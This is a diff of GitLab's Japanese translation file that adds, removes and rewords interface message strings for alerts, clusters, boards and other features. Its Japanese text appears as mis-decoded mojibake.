msgstr "メールã«ãƒ˜ãƒƒãƒ€ãƒ¼ã¨ãƒ•ãƒƒã‚¿ãƒ¼ã‚’追加ã—ã¾ã™ã€‚色設定ã¯ã‚¢ãƒ—リケーションインターフェース内ã§ã®ã¿é©ç”¨ã•ã‚Œã¾ã™ã€‚"
@@ -1439,6 +1496,9 @@ msgstr "課題を追加"
msgid "Add italic text"
msgstr "斜体ã®ãƒ†ã‚­ã‚¹ãƒˆã‚’追加"
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr "ラベルを追加"
@@ -1718,6 +1778,9 @@ msgstr "パイプライン構æˆãƒ•ã‚¡ã‚¤ãƒ«ã‚’é¸æŠž"
msgid "AdminSettings|Select a template"
msgstr "管ç†è¨­å®š |テンプレートé¸æŠž"
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1733,6 +1796,9 @@ msgstr "ã™ã¹ã¦ã®ãƒ—ロジェクトã®Auto Review AppsãŠã‚ˆã³Auto Deployス
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr "必須パイプライン設定ã¯ã€è¨­å®šæ¸ˆã¿ã®%{link_start}インスタンステンプレートリãƒã‚¸ãƒˆãƒª%{link_end}内㮠%{code_start}gitlab-ci%{code_end} ディレクトリã€ã¾ãŸã¯ GitLab æä¾›ã®è¨­å®šã‹ã‚‰é¸æŠžã§ãã¾ã™ã€‚"
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr "環境変数ã®æ–°è¦ä½œæˆæ™‚ã«ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆã§ä¿è­·ã•ã‚Œã¾ã™"
@@ -1959,6 +2025,9 @@ msgstr[0] "アラート"
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr "アラート"
@@ -1989,7 +2058,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2046,9 +2115,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2061,6 +2127,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2103,16 +2172,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2142,7 +2208,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2241,6 +2307,9 @@ msgstr "ã™ã¹ã¦ã®ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã¯ã‚ãªãŸã®ã‚³ãƒŸãƒƒãƒˆã‚’識別ã™
msgid "All environments"
msgstr "ã™ã¹ã¦ã®ç’°å¢ƒ"
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr "空ã®ãƒ—ロジェクトã€ãƒ†ãƒ³ãƒ—レートã‹ã‚‰ã€ã¾ãŸã¯ã‚¤ãƒ³ãƒãƒ¼ãƒˆæ™‚ã«ã™ã¹ã¦ã®æ©Ÿèƒ½ãŒæœ‰åŠ¹ã«ãªã£ã¦ã„ã¾ã™ãŒã€å¾Œã§ãƒ—ロジェクト設定ã§ç„¡åŠ¹ã«ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
@@ -2388,6 +2457,9 @@ msgstr "ユーザーãŒå¼·åˆ¶çš„ãª2è¦ç´ èªè¨¼ã‚’無視ã§ãる時間(時間å
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2454,6 +2526,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr "変更ã®ã‚³ãƒŸãƒƒãƒˆä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2526,9 +2601,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr "サービスデスクアドレスã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "ボードリストã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr "ビルドã®ãƒ•ã‚§ãƒƒãƒä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -2670,15 +2754,18 @@ msgstr "カレンダーアクティビティーå–å¾—ã®éš›ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿ
msgid "An error occurred while retrieving diff"
msgstr "差分をå–å¾—ã®éš›ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
+msgid "An error occurred while retrieving diff files"
+msgstr ""
+
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
msgid "An error occurred while saving LDAP override status. Please try again."
msgstr "LDAP ã®ã‚ªãƒ¼ãƒãƒ¼ãƒ©ã‚¤ãƒ‰çŠ¶æ…‹ã‚’ä¿å­˜ã™ã‚‹ã¨ãã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ãŠè©¦ã—ãã ã•ã„。"
msgid "An error occurred while saving assignees"
msgstr "担当者ã®ç™»éŒ²ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
-msgid "An error occurred while saving the approval settings"
-msgstr "承èªè¨­å®šã®ä¿å­˜ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
-
msgid "An error occurred while saving the template. Please check if the template exists."
msgstr "テンプレートã®ä¿å­˜ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚テンプレートãŒå­˜åœ¨ã™ã‚‹ã‹ç¢ºèªã—ã¦ãã ã•ã„。"
@@ -2703,12 +2790,18 @@ msgstr "承èªè€…ã®æ›´æ–°ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
msgid "An error occurred while updating the comment"
msgstr "コメントを更新中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr "グループパスã®æ¤œè¨¼ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
msgid "An error occurred while validating username"
msgstr "ユーザåã®æ¤œè¨¼ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr "エラーãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚å†åº¦ãŠè©¦ã—ãã ã•ã„。"
@@ -2787,6 +2880,9 @@ msgstr "ä»»æ„ã®"
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -2998,6 +3094,9 @@ msgstr "4月"
msgid "April"
msgstr "4月"
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3010,6 +3109,9 @@ msgstr "プロジェクトをアーカイブ"
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr "アーカイブã•ã‚ŒãŸãƒ—ロジェクトã§ã™ã€‚リãƒã‚¸ãƒ‰ãƒªãŠã‚ˆã³ãã®ä»–ã®ãƒ—ロジェクトリソースã¯èª­ã¿å–り専用ã§ã™ã€‚"
@@ -3025,9 +3127,6 @@ msgstr "プロジェクトをアーカイブã«ã™ã‚‹ã¨ã€ãƒ—ロジェクトã¯
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr "ä¼æ¥­å‘ã‘ã« GitLab をセットアップã—ã¦ã„ã¾ã™ã‹ï¼Ÿ"
-
msgid "Are you sure that you want to archive this project?"
msgstr "本当ã«ã“ã®ãƒ—ロジェクトをアーカイブã—ã¾ã™ã‹ï¼Ÿ"
@@ -3136,8 +3235,8 @@ msgstr "ã“ã®GPGキーã§ç½²åã•ã‚ŒãŸã™ã¹ã¦ã®ã‚³ãƒŸãƒƒãƒˆã¯æ¤œè¨¼ã•ã‚Œ
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr "本当ã«ã‚ˆã‚ã—ã„ã§ã™ã‹ï¼Ÿã“ã®GPGキーを削除ã—ã¦ã‚‚ã€ã™ã§ã«ç½²åã•ã‚Œã¦ã„るコミットã«ã¯å½±éŸ¿ã—ã¾ã›ã‚“。"
-msgid "Are you sure? The device will be signed out of GitLab."
-msgstr "よã‚ã—ã„ã§ã™ã‹ï¼Ÿãã®ãƒ‡ãƒã‚¤ã‚¹ã¯GitLabã‹ã‚‰ã‚µã‚¤ãƒ³ã‚¢ã‚¦ãƒˆã•ã‚Œã¾ã™ã€‚"
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
+msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
msgstr "本当ã«å®Ÿè¡Œã—ã¾ã™ã‹? ã“ã‚Œã¯ç™»éŒ²ã•ã‚ŒãŸã‚¢ãƒ—リケーション㨠U2Fデãƒã‚¤ã‚¹ã‚’無効ã«ã—ã¾ã™ã€‚"
@@ -3148,9 +3247,6 @@ msgstr "ãƒãƒ£ãƒ¼ãƒˆã®ã‚¢ãƒ¬ãƒ³ã‚¸"
msgid "Artifact"
msgstr "アーティファクト"
-msgid "Artifact ID"
-msgstr "アーティファクト ID"
-
msgid "Artifact could not be deleted."
msgstr "アーティファクトを削除ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚"
@@ -3163,6 +3259,9 @@ msgstr "アーティファクト"
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr "U2Fデãƒã‚¤ã‚¹ã¯ã„ãã¤ã‹ã®ãƒ–ラウザã§ã—ã‹ã‚µãƒãƒ¼ãƒˆã•ã‚Œã¦ã„ãªã„ãŸã‚ã€U2Fデãƒã‚¤ã‚¹ã®å‰ã«2è¦ç´ èªè¨¼ã‚¢ãƒ—リを設定ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚ ãã†ã™ã‚Œã°ã€ã‚µãƒãƒ¼ãƒˆã•ã‚Œã¦ã„ãªã„ブラウザを使用ã—ã¦ã„ã‚‹å ´åˆã§ã‚‚ã€å¸¸ã«ãƒ­ã‚°ã‚¤ãƒ³ã§ãるよã†ã«ãªã‚Šã¾ã™ã€‚"
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr "%{user} ㌠%{project_name} ã®ãƒ–ランム%{branch} ã«ãƒ—ッシュã—ã¾ã—ãŸï¼ˆ%{commit_url}):"
@@ -3420,7 +3519,7 @@ msgstr "承èªã™ã‚‹"
msgid "Authorize %{link_to_client} to use your account?"
msgstr "ã‚ãªãŸã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã« %{link_to_client} を承èªã—ã¾ã™ã‹ï¼Ÿ"
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3498,6 +3597,9 @@ msgstr "%{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end} を用ã
msgid "Automatic certificate management using Let's Encrypt"
msgstr "Let's Encryptを用ã„ãŸè‡ªå‹•è¨¼æ˜Žæ›¸ç®¡ç†"
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3624,8 +3726,8 @@ msgstr "ã“ã®ã‚°ãƒ«ãƒ¼ãƒ—ã«ãƒãƒƒã‚¸ã¯ã‚ã‚Šã¾ã›ã‚“"
msgid "Badges|This project has no badges"
msgstr "ã“ã®ãƒ—ロジェクトã«ãƒãƒƒã‚¸ã¯ã‚ã‚Šã¾ã›ã‚“"
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
-msgstr "ã“ã®ãƒãƒƒã‚¸ã‚’削除ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚削除ã•ã‚ŒãŸãƒãƒƒã‚¸ã¯<strong>復元ã§ãã¾ã›ã‚“</strong>。"
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
+msgstr ""
msgid "Badges|Your badges"
msgstr "ãƒãƒƒã‚¸"
@@ -3738,6 +3840,9 @@ msgstr "月é¡"
msgid "BillingPlans|per user"
msgstr "1ユーザーã«ã¤ã"
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr "アップグレード"
@@ -3807,14 +3912,17 @@ msgstr "å…¨ã¦è¡¨ç¤º"
msgid "Boards|View scope"
msgstr "スコープ表示"
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr "ブランãƒ"
msgid "Branch %{branchName} was not found in this project's repository."
msgstr "%{branchName} ブランãƒã¯ã“ã®ãƒ—ロジェクトã®ãƒªãƒã‚¸ãƒˆãƒªã«è¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—ãŸã€‚"
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
-msgstr "<strong>%{branch_name}</strong> ブランãƒãŒä½œæˆã•ã‚Œã¾ã—ãŸã€‚自動デプロイを設定ã™ã‚‹ã«ã¯ã€GitLab CI Yaml テンプレートをé¸æŠžã—ã¦ã€å¤‰æ›´ã‚’コミットã—ã¦ãã ã•ã„。 %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgstr ""
msgid "Branch has changed"
msgstr "ブランãƒãŒå¤‰æ›´ã•ã‚Œã¾ã—ãŸ"
@@ -4008,6 +4116,9 @@ msgstr "未解決ã®èª²é¡Œ"
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr "ビジãƒã‚¹"
@@ -4182,6 +4293,9 @@ msgstr "カナリアデプロイã¯ã€ä¸€éƒ¨ã®ã‚¢ãƒ—リケーションãŒã‚ãª
msgid "Cancel"
msgstr "キャンセル"
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr "実行ã®ã‚­ãƒ£ãƒ³ã‚»ãƒ«"
@@ -4215,10 +4329,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr "ã“ã®ãƒ—ロジェクトã«ã¯èª²é¡ŒãŒãªã„ãŸã‚ã€ã‚¤ãƒ³ãƒãƒ¼ãƒˆã§ãã¾ã›ã‚“。"
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4239,8 +4353,8 @@ msgstr "権é™ãŒä¸å分ãªãŸã‚ã€èª²é¡Œã‚’プロモートã§ãã¾ã›ã‚“。
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
-msgstr "公開ã®èª²é¡Œã®ãŸã‚ã€ã‚¨ãƒ”ックを機密ã«ã™ã‚‹ã“ã¨ã¯ã§ãã¾ã›ã‚“"
+msgid "Cannot set confidential epic for a non-confidential issue"
+msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
msgstr "プレビューを表示ã§ãã¾ã›ã‚“。Sketch ファイルをプレビューã™ã‚‹ã«ã¯ã€Sketch ãƒãƒ¼ã‚¸ãƒ§ãƒ³43以é™ã§å°Žå…¥ã•ã‚ŒãŸãƒ•ã‚¡ã‚¤ãƒ«å½¢å¼ãŒå¿…è¦ã§ã™ã€‚"
@@ -4425,9 +4539,6 @@ msgstr "åå‰ç©ºé–“ã®è¨ˆç”»ã§æ©Ÿèƒ½ãŒåˆ©ç”¨ã§ãã‚‹ã‹ãƒã‚§ãƒƒã‚¯ã™ã‚‹"
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr "%{docs_link_start}ドキュメント%{docs_link_end}を確èª"
-msgid "Check your .gitlab-ci.yml"
-msgstr ".gitlab-ci.yml ã‚’ãƒã‚§ãƒƒã‚¯"
-
msgid "Check your Docker images for known vulnerabilities."
msgstr "既知ã®è„†å¼±æ€§ã«å¯¾ã—ã¦ã€Dockerイメージをãƒã‚§ãƒƒã‚¯ã™ã‚‹."
@@ -4653,8 +4764,8 @@ msgstr "インãƒãƒ¼ãƒˆãƒªãƒã‚¸ãƒˆãƒªã®ãƒˆãƒƒãƒ—レベルã®ã‚°ãƒ«ãƒ¼ãƒ—ã‚’é¸
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr "表示レベルã€ãƒ—ロジェクト機能(課題ã€ãƒªãƒã‚¸ãƒˆãƒªã€Wikiã€ã‚¹ãƒ‹ãƒšãƒƒãƒˆ) ã®æœ‰åŠ¹/無効や権é™ã®è¨­å®š"
-msgid "Choose what content you want to see on a group’s overview page"
-msgstr "グループã®æ¦‚è¦ãƒšãƒ¼ã‚¸ã«è¡¨ç¤ºã—ãŸã„コンテンツをé¸æŠžã—ã¦ãã ã•ã„"
+msgid "Choose what content you want to see on a group’s overview page."
+msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
msgstr "CI/CD パイプラインを実行ã—ãŸã„リãƒã‚¸ãƒˆãƒªã‚’é¸æŠžã—ã¦ãã ã•ã„。"
@@ -4821,9 +4932,15 @@ msgstr "使用ã§ãã¾ã›ã‚“:%{reason}"
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr "クリア"
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr "ãƒãƒ£ãƒ¼ãƒˆãƒ•ã‚£ãƒ«ã‚¿ãƒ¼ã‚’解除"
@@ -4929,6 +5046,9 @@ msgstr "クローズ"
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr "クローズã—ãŸèª²é¡Œ"
@@ -4962,19 +5082,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
-msgstr "%{custom_domain_start} 詳細情報 %{custom_domain_end}"
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
+msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
-msgstr "ã“ã‚Œã«ã‚ˆã‚Šã€æ¬¡ã®ãƒªã‚½ãƒ¼ã‚¹ã¯å®Œå…¨ã«å‰Šé™¤ã•ã‚Œã¾ã™ <ul> <li>インストールã•ã‚Œã¦ã„ã‚‹ã™ã¹ã¦ã®ã‚¢ãƒ—リケーションã¨é–¢é€£ã—ãŸãƒªã‚½ãƒ¼ã‚¹</li> <li> <code>gitlab-managed-apps</code> åå‰ç©ºé–“</li> <li>ä»»æ„ã®ãƒ—ロジェクトåå‰ç©ºé–“</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
+msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
-msgstr "カスタムドメインã®ä»£ã‚ã‚Šã«ä½¿ç”¨ã§ãã¾ã™ã€‚"
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
+msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} ã¯æ­£å¸¸ã« Kubernetes クラスターã«ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã•ã‚Œã¾ã—ãŸ"
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5022,14 +5148,17 @@ msgstr "GitLab ã«ã‚³ãƒŸãƒƒãƒˆã—ã¦ã„ãªã„å…¨ã¦ã®ãƒ‡ãƒ¼ã‚¿ã‚’削除ã—ã¾ã
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr "ã™ã¹ã¦ã®ãƒ‡ãƒ¼ã‚¿ã‚’削除ã—ã€å¾©å…ƒã§ãã¾ã›ã‚“。"
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr "ã“ã®ã‚¯ãƒ©ã‚¹ã‚¿ãƒ¼ã®åå‰ç©ºé–“ã¨ã‚µãƒ¼ãƒ“スアカウントã®ç®¡ç†ã‚’GitLabã«è¨±å¯ã™ã‚‹ã€‚"
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr "GitLab ãŒã“ã®ã‚¯ãƒ©ã‚¹ã‚¿ãƒ¼ã®åå‰ç©ºé–“ã¨ã‚µãƒ¼ãƒ“スアカウントを管ç†ã§ãるよã†ã«ã—ã¾ã™ã€‚ %{startLink}詳細ã¯ã“ã¡ã‚‰%{endLink}"
-msgid "ClusterIntegration|Alternatively"
-msgstr "ã‚ã‚‹ã„ã¯"
+msgid "ClusterIntegration|Alternatively, "
+msgstr ""
msgid "ClusterIntegration|Amazon EKS"
msgstr "Amazon EKS"
@@ -5046,6 +5175,9 @@ msgstr "プロジェクトã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ:%{error}
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr "ゾーンã®ãƒžã‚·ãƒ³ã‚¿ã‚¤ãƒ—ã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ:%{error}"
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr "実行中ã®ãƒ‘イプラインをã™ã¹ã¦ã‚­ãƒ£ãƒ³ã‚»ãƒ«ã—ã¾ã™ã€‚"
@@ -5085,15 +5217,12 @@ msgstr "ワーカーノードãŒå®Ÿè¡Œã•ã‚Œã‚‹VPCã§%{startLink} サブãƒãƒƒãƒ
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr "ワーカーノード%{startLink}インスタンスタイプ%{externalLinkIcon} %{endLink}ã‚’é¸æŠžã—ã¾ã™ã€‚"
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
-msgstr "Kubernetes クラスタã«ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã™ã‚‹ã‚¢ãƒ—リケーションをé¸æŠžã—ã¾ã™ã€‚ Helm Tiller ã¯ã€æ¬¡ã®ã‚¢ãƒ—リケーションã®ã„ãšã‚Œã‹ã‚’インストールã™ã‚‹ã®ã«å¿…è¦ã§ã™ã€‚"
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
+msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "ã“ã®ã‚¯ãƒ©ã‚¹ã‚¿ã‚’使用ã™ã‚‹ç’°å¢ƒã‚’é¸æŠžã—ã¦ãã ã•ã„。"
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr "クラスターã®ã‚­ãƒ£ãƒƒã‚·ãƒ¥ã‚’削除"
@@ -5118,6 +5247,9 @@ msgstr "クラスタã¯ã€ç’°å¢ƒã‚¹ã‚³ãƒ¼ãƒ—ãŒä¸€è‡´ã™ã‚‹æœ€ã‚‚è¿‘ã„先祖を
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr "API URLをコピー"
@@ -5301,9 +5433,6 @@ msgstr "Helm Tiller"
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr "Helm ã¯ã€Kubernetes アプリケーションã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã¨ç®¡ç†ã‚’簡略化ã—ã¾ã™ã€‚Helm Tiller ã¯ã‚ãªãŸã®Kubernetes クラスタã®å†…部ã§å®Ÿè¡Œã—ã€ã‚ãªãŸã®ãƒãƒ£ãƒ¼ãƒˆã®ãƒªãƒªãƒ¼ã‚¹ã‚’管ç†ã—ã¾ã™ã€‚"
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "ã‚ãªãŸãŒè¤‡æ•°ã®ã‚¯ãƒ©ã‚¹ã‚¿ã‚’セットアップ㗠Auto DevOps を使用ã—ã¦ã„ã‚‹å ´åˆã€%{help_link_start}最åˆã«ã“ã¡ã‚‰ã‚’ãŠèª­ã¿ãã ã•ã„%{help_link_end} 。"
@@ -5499,8 +5628,8 @@ msgstr "ノード数"
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr "ノード数ã¯æ•°å€¤ã§ãªã‘ã‚Œã°ãªã‚Šã¾ã›ã‚“。"
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
-msgstr "Kubernetes クラスターã®ã‚¢ã‚¯ã‚»ã‚¹æƒ…報を入力ã—ã¦ãã ã•ã„。ä¸æ˜Žç‚¹ã¯ %{link_to_help_page} ã® Kubernetes ã®é …目をã”覧ãã ã•ã„。"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
+msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr "Google アカウントãŒæ¬¡ã®è¦ä»¶ã‚’満ãŸã—ã¦ã„ã‚‹ã“ã¨ã‚’確èªã—ã¦ãã ã•ã„。"
@@ -5718,12 +5847,15 @@ msgstr "%{title} ã®ã‚¢ãƒ³ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
